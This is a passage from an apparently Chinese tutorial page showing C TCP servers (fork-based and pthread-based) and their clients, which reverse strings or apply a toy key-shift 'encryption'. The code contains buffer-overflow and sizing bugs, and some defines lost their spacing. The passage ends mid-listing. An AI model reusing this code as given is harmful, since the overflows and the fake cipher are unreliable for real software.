class="keyword">else</span> <span class="keyword">if</span> (pid==<span class="number">0</span>) {</span><br><span class="line"> <span class="comment">/*child process*/</span></span><br><span class="line"> close(listenfd);</span><br><span class="line"> process_cli(connectfd, client);</span><br><span class="line"> <span class="built_in">exit</span>(<span class="number">0</span>); </span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span> {</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"fork error\n"</span>);</span><br><span class="line"> <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line"> }</span><br><span class="line"> }<span class="comment">/*while()*/</span></span><br><span class="line"> close(listenfd); <span class="comment">/* close listenfd */</span> </span><br><span class="line"> } </span><br><span class="line"> <span class="function"><span class="keyword">void</span> <span class="title">process_cli</span><span class="params">(<span class="keyword">int</span> connectfd, struct sockaddr_in client)</span> </span>{</span><br><span class="line"> <span class="keyword">int</span> num;</span><br><span class="line"> <span class="keyword">char</span> recvbuf[MAXDATASIZE], sendbuf[MAXDATASIZE], cli_name[MAXDATASIZE];</span><br><span class="line"></span><br><span class="line"> </span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"You got a connection from %s.\n"</span>, inet_ntoa(client.sin_addr));</span><br><span class="line"> num = recv(connectfd, cli_name, MAXDATASIZE, <span class="number">0</span>);</span><br><span class="line"> <span class="keyword">if</span> (num == <span class="number">0</span>) {</span><br><span class="line"> close(connectfd);</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"cllient disconnected.\n"</span>);</span><br><span class="line"> <span class="keyword">return</span>;</span><br><span class="line"> }</span><br><span class="line"> cli_name[num] = <span class="string">'\0'</span>;</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Client name is %s.\n"</span>,cli_name);</span><br><span class="line"> <span class="keyword">while</span> (num = recv(connectfd, recvbuf, MAXDATASIZE,<span class="number">0</span>)) {</span><br><span class="line"> recvbuf[num] = <span class="string">'\0'</span>;</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Received client (%s) message: %s\n"</span>, cli_name, recvbuf);</span><br><span class="line"> <span class="keyword">int</span> i=<span class="number">0</span>;</span><br><span class="line"> <span class="keyword">for</span>(i=<span class="number">0</span>; i < num ; i++)</span><br><span class="line"> sendbuf[i] = recvbuf[num-i<span class="number">-1</span>];</span><br><span class="line"> sendbuf[i] = <span class="string">'\0'</span>;</span><br><span class="line"> send(connectfd, revstr(recvbuf,<span class="built_in">strlen</span>(recvbuf)), <span class="built_in">strlen</span>(recvbuf), <span class="number">0</span>);</span><br><span class="line"> <span class="comment">//send(connectfd, revstr(sendbuf,strlen(sendbuf)), strlen(sendbuf), 0);</span></span><br><span class="line"> }</span><br><span class="line"> close(connectfd);</span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">char</span> *<span class="title">revstr</span><span class="params">(<span class="keyword">char</span> *str, <span class="keyword">size_t</span> len)</span></span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">char</span> *start = str;</span><br><span class="line"> <span class="keyword">char</span> *end = str + len - <span class="number">1</span>;</span><br><span class="line"> <span class="keyword">char</span> ch;</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">if</span> (str != <span class="literal">NULL</span>)</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">while</span> (start < end)</span><br><span class="line"> {</span><br><span class="line"> ch = *start;</span><br><span class="line"> *start++ = *end;</span><br><span class="line"> *end-- = ch;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> str;</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>客户端</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/*client.c*/</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><unistd.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><sys/types.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string"><string.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><sys/socket.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string"><stdio.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string"><stdlib.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><netinet/in.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><arpa/inet.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><netdb.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> PORT 1234</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> MAXDATASIZE 100</span></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">char</span> *argv[])</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">int</span> fd, numbytes;</span><br><span class="line"> <span class="keyword">char</span> buf[MAXDATASIZE];</span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">hostent</span> * <span class="title">he</span>;</span></span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">sockaddr_in</span> <span class="title">server</span>;</span></span><br><span class="line"> <span class="keyword">if</span> (argc != <span class="number">3</span>)</span><br><span class="line"> {</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Usage: %s <IP address>\n"</span>, argv[<span class="number">0</span>]);</span><br><span class="line"> <span class="built_in">exit</span>(<span class="number">-1</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> ((he = gethostbyname(argv[<span class="number">1</span>])) == <span class="literal">NULL</span>) </span><br><span class="line"> {</span><br><span class="line"> perror(<span class="string">"gethostbyname error."</span>);</span><br><span class="line"> <span class="built_in">exit</span>(<span class="number">1</span>);</span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">if</span> ((fd = socket(AF_INET, SOCK_STREAM, <span class="number">0</span>)) == <span class="number">-1</span>) {</span><br><span class="line"> perror(<span class="string">"Create socket failed."</span>);</span><br><span class="line"> <span class="built_in">exit</span>(<span class="number">1</span>);</span><br><span class="line"> }</span><br><span class="line"> bzero(&server, <span class="keyword">sizeof</span>(server));</span><br><span class="line"> server.sin_family = AF_INET;</span><br><span class="line"> server.sin_port = htons(PORT);</span><br><span class="line"> server.sin_addr = *((struct in_addr *) he->h_addr);</span><br><span class="line"> <span class="keyword">if</span> (connect(fd, (struct sockaddr *)&server, <span class="keyword">sizeof</span>(struct sockaddr)) == <span class="number">-1</span>)</span><br><span class="line"> {</span><br><span class="line"> perror(<span class="string">"connect failed."</span>);</span><br><span class="line"> <span class="built_in">exit</span>(<span class="number">1</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">char</span> msg[<span class="number">1024</span>]; </span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (send(fd, argv[<span class="number">2</span>], <span class="built_in">strlen</span>(argv[<span class="number">2</span>]), <span class="number">0</span>) == <span class="number">-1</span>) </span><br><span class="line"> { </span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"send failed\n"</span>); </span><br><span class="line"> <span class="built_in">exit</span>(<span class="number">1</span>);</span><br><span class="line"> <span class="comment">//return EXIT_FAILURE; </span></span><br><span class="line"> } </span><br><span class="line"></span><br><span class="line"> <span class="keyword">while</span> (<span class="number">1</span>) </span><br><span class="line"> { </span><br><span class="line"></span><br><span class="line"> <span class="built_in">memset</span>(msg, <span class="number">0</span>, <span class="keyword">sizeof</span>(<span class="number">1024</span>)); </span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"input text:"</span>);</span><br><span class="line"> fgets(msg,<span class="number">100</span>,<span class="built_in">stdin</span>);</span><br><span class="line"> fflush(<span class="built_in">stdin</span>);</span><br><span class="line"> <span class="keyword">if</span> (send(fd, msg, <span class="built_in">strlen</span>(msg), <span class="number">0</span>) == <span class="number">-1</span>) </span><br><span class="line"> { </span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"send failed\n"</span>); </span><br><span class="line"> <span class="built_in">exit</span>(<span class="number">1</span>); </span><br><span class="line"> }<span class="keyword">else</span>{</span><br><span class="line"> <span class="keyword">if</span> (recv(fd, msg, <span class="keyword">sizeof</span>(msg), <span class="number">0</span>) > <span class="number">0</span>)</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"messiges:%s\n"</span>, msg); </span><br><span class="line"> } </span><br><span class="line"> </span><br><span class="line"> } </span><br><span class="line"></span><br><span class="line"> close(fd);</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><h4 id="多线程实现并发服务器"><a href="#多线程实现并发服务器" class="headerlink" title="多线程实现并发服务器"></a>多线程实现并发服务器</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/*server.c*/</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><unistd.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><sys/types.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string"><string.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><sys/socket.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string"><stdio.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string"><stdlib.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><netinet/in.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><arpa/inet.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><pthread.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> PORT12345</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> BACKLOG10</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> MAXDATASIZE1024</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> FILL_CHAR <span class="meta-string">'x'</span></span></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">void</span> <span class="title">revstr</span><span class="params">(<span class="keyword">char</span> *str)</span></span>;</span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ARG</span> {</span></span><br><span class="line"><span class="keyword">int</span> connectfd;</span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">sockaddr_in</span> <span class="title">client</span>;</span></span><br><span class="line">};</span><br><span class="line"><span class="function"><span class="keyword">void</span> *<span class="title">funtion</span><span class="params">(<span class="keyword">void</span> *arg)</span></span>;</span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">process_cli</span><span class="params">(<span class="keyword">int</span> connectfd, struct sockaddr_in client)</span></span>;</span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">void</span>)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"><span class="keyword">int</span> listenfd, connectfd;</span><br><span class="line"><span class="keyword">pthread_t</span>tid;</span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ARG</span> *<span class="title">arg</span>;</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">sockaddr_in</span><span class="title">server</span>, <span class="title">client</span>;</span></span><br><span class="line"><span class="keyword">int</span> sin_size;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* Create TCP Socket */</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>((listenfd=socket(AF_INET, SOCK_STREAM, <span class="number">0</span>))==<span class="number">-1</span>)</span><br><span class="line">{</span><br><span class="line">perror(<span class="string">"Create socket failed"</span>);</span><br><span class="line"><span class="built_in">exit</span>(<span class="number">-1</span>);</span><br><span class="line">}</span><br><span class="line"><span class="keyword">int</span> opt = SO_REUSEADDR;</span><br><span class="line">setsockopt(listenfd, SOL_SOCKET, SO_REUSEADDR, &opt, <span class="keyword">sizeof</span>(opt));</span><br><span class="line"></span><br><span class="line">bzero(&server, <span class="keyword">sizeof</span>(server));</span><br><span class="line">server.sin_family = AF_INET;</span><br><span class="line">server.sin_port = htons(PORT);</span><br><span class="line">server.sin_addr.s_addr = htonl(INADDR_ANY);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (bind(listenfd, (struct sockaddr *)&server, <span class="keyword">sizeof</span>(struct sockaddr))==<span class="number">-1</span>)</span><br><span class="line">{</span><br><span class="line">perror(<span class="string">"Bind error"</span>);</span><br><span class="line"><span class="built_in">exit</span>(<span class="number">-1</span>);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (listen(listenfd, BACKLOG) == <span class="number">-1</span>) {</span><br><span class="line">perror(<span class="string">"listen error"</span>);</span><br><span class="line"><span class="built_in">exit</span>(<span class="number">-1</span>);</span><br><span class="line">}</span><br><span class="line">sin_size = <span class="keyword">sizeof</span>(struct sockaddr_in);</span><br><span class="line"></span><br><span class="line"><span class="keyword">while</span>(<span class="number">1</span>) {</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>((connectfd = accept(listenfd, (struct sockaddr *)&client, &sin_size)) == <span class="number">-1</span>) {</span><br><span class="line">perror(<span class="string">"accept error"</span>);</span><br><span class="line"><span class="built_in">exit</span>(<span class="number">-1</span>);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">arg=(struct ARG*)<span class="built_in">malloc</span>(<span class="keyword">sizeof</span>(struct ARG));</span><br><span class="line">arg->connectfd = connectfd;</span><br><span class="line"><span class="built_in">memcpy</span>((<span class="keyword">void</span> *)&arg->client,&client,<span class="keyword">sizeof</span>(client));</span><br><span class="line"><span class="keyword">if</span>(pthread_create(&tid,<span class="literal">NULL</span>,funtion,(<span class="keyword">void</span> *)arg))</span><br><span class="line">{</span><br><span class="line"></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">}<span class="comment">/*while()*/</span></span><br><span class="line">close(listenfd); <span class="comment">/* close listenfd */</span> </span><br><span class="line">} </span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">process_cli</span><span class="params">(<span class="keyword">int</span> connectfd, struct sockaddr_in client)</span> </span>{</span><br><span class="line"><span class="keyword">int</span> num;</span><br><span class="line"><span class="keyword">char</span> recvbuf[MAXDATASIZE], sendbuf[MAXDATASIZE], cli_name[MAXDATASIZE];</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"You got a connection from %s.\n"</span>, inet_ntoa(client.sin_addr));</span><br><span class="line">num = recv(connectfd, cli_name, MAXDATASIZE, <span class="number">0</span>);</span><br><span class="line"><span class="keyword">if</span> (num == <span class="number">0</span>) {</span><br><span class="line">close(connectfd);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"cllient disconnected.\n"</span>);</span><br><span class="line"><span class="keyword">return</span>;</span><br><span class="line">}</span><br><span class="line">cli_name[num] = <span class="string">'\0'</span>;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"Client name is %s.\n"</span>,cli_name);</span><br><span class="line"></span><br><span class="line"><span class="keyword">while</span> (num = recv(connectfd, recvbuf, <span class="number">1024</span>,<span class="number">0</span>)) {</span><br><span class="line">recvbuf[<span class="built_in">strlen</span>(recvbuf)] = <span class="string">'\0'</span>;</span><br><span class="line"><span class="keyword">if</span> (<span class="built_in">strcmp</span>(recvbuf, <span class="string">"quit"</span>) == <span class="number">0</span>) </span><br><span class="line">{</span><br><span class="line">send(connectfd, <span class="string">"bye bye!"</span>,<span class="keyword">sizeof</span>(recvbuf), <span class="number">0</span>);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"client %s close.\n"</span>,cli_name);</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line">}</span><br><span class="line"><span class="keyword">else</span>{</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"Received client (%s) message: %s\n"</span>, cli_name, recvbuf);</span><br><span class="line">revstr(recvbuf);</span><br><span class="line">send(connectfd, recvbuf,<span class="keyword">sizeof</span>(recvbuf), <span class="number">0</span>);</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"After encryption: %s\n"</span>,recvbuf);</span><br><span class="line"><span class="built_in">memset</span>(recvbuf, <span class="string">'\0'</span>, <span class="keyword">sizeof</span>(<span class="number">1024</span>));</span><br><span class="line">}</span><br><span class="line"><span class="comment">//send(connectfd, revstr(sendbuf,strlen(sendbuf)), strlen(sendbuf), 0);</span></span><br><span class="line">}</span><br><span class="line">close(connectfd);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> *<span class="title">funtion</span><span class="params">(<span class="keyword">void</span> *arg)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ARG</span> *<span class="title">info</span>;</span></span><br><span class="line">info = (struct ARG *)arg;</span><br><span class="line">process_cli(info->connectfd,info->client);</span><br><span class="line"><span class="built_in">free</span>(arg);</span><br><span class="line">pthread_exit(<span class="literal">NULL</span>);</span><br><span class="line">}</span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">void</span> <span class="title">revstr</span><span class="params">(<span class="keyword">char</span> *str)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"><span class="keyword">int</span> len = <span class="built_in">strlen</span>(str);</span><br><span class="line"><span class="keyword">char</span> key[<span class="number">10</span>]=<span class="string">"2015021269"</span>;</span><br><span class="line"><span class="keyword">int</span> i=<span class="number">0</span>;</span><br><span class="line"><span class="keyword">int</span> new_len;</span><br><span class="line"><span class="keyword">int</span> offset;</span><br><span class="line"> <span class="keyword">for</span> (new_len = len; (new_len+<span class="number">1</span>) % (<span class="number">10</span>) != <span class="number">0</span>; new_len++)</span><br><span class="line"> {</span><br><span class="line"> str[new_len]=FILL_CHAR;</span><br><span class="line">}</span><br><span class="line"><span class="comment">//printf("new_len is:%d\n",new_len);</span></span><br><span class="line">new_len++;</span><br><span class="line"> str[new_len<span class="number">-1</span>]=len+<span class="string">'0'</span>;</span><br><span class="line"> str[new_len]=<span class="string">'\0'</span>;</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"newstr:%s.\n"</span>,str);</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> (offset = <span class="number">0</span>; offset < new_len; offset += <span class="number">10</span>)</span><br><span class="line">{</span><br><span class="line"><span class="keyword">for</span> (i = <span class="number">0</span>; i < <span class="number">10</span>; i++)</span><br><span class="line">{</span><br><span class="line">str[offset + i] = str[offset + i] + key[i] - <span class="string">'0'</span>;</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>客户端</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/*client.c*/</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><unistd.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><sys/types.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string"><string.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><sys/socket.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string"><stdio.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string"><stdlib.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><netinet/in.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><arpa/inet.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><netdb.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> PORT 12345</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> MAXDATASIZE 100</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> FILL_CHAR <span class="meta-string">'x'</span></span></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">void</span> <span class="title">decrypt</span><span class="params">(<span class="keyword">char</span> * msg)</span></span>;</span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">char</span> *argv[])</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"><span class="keyword">int</span> fd, numbytes,decrypt_flag;</span><br><span class="line"><span class="keyword">char</span> buf[MAXDATASIZE];</span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">hostent</span> * <span class="title">he</span>;</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">sockaddr_in</span> <span class="title">server</span>;</span></span><br><span class="line"><span class="keyword">if</span> (argc == <span class="number">3</span>)</span><br><span class="line">decrypt_flag =<span class="number">0</span>;</span><br><span class="line"><span class="keyword">else</span> <span class="keyword">if</span>(argc == <span class="number">4</span>)</span><br><span class="line">decrypt_flag =<span class="number">1</span>;</span><br><span class="line"><span class="keyword">else</span>{</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"Usage: %s <IP address>\n"</span>, argv[<span class="number">0</span>]);</span><br><span class="line"><span class="built_in">exit</span>(<span class="number">-1</span>);</span><br><span class="line">}</span><br><span class="line"><span class="keyword">if</span> ((he = gethostbyname(argv[<span class="number">1</span>])) == <span class="literal">NULL</span>) </span><br><span class="line">{</span><br><span class="line">perror(<span class="string">"gethostbyname error."</span>);</span><br><span class="line"><span class="built_in">exit</span>(<span class="number">1</span>);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> ((fd = socket(AF_INET, SOCK_STREAM, <span class="number">0</span>)) == <span class="number">-1</span>) {</span><br><span class="line">perror(<span class="string">"Create socket failed."</span>);</span><br><span class="line"><span class="built_in">exit</span>(<span class="number">1</span>);</span><br><span class="line">}</span><br><span class="line">bzero(&server, <span class="keyword">sizeof</span>(server));</span><br><span class="line">server.sin_family = AF_INET;</span><br><span class="line">server.sin_port = htons(PORT);</span><br><span class="line">server.sin_addr = *((struct in_addr *) he->h_addr);</span><br><span 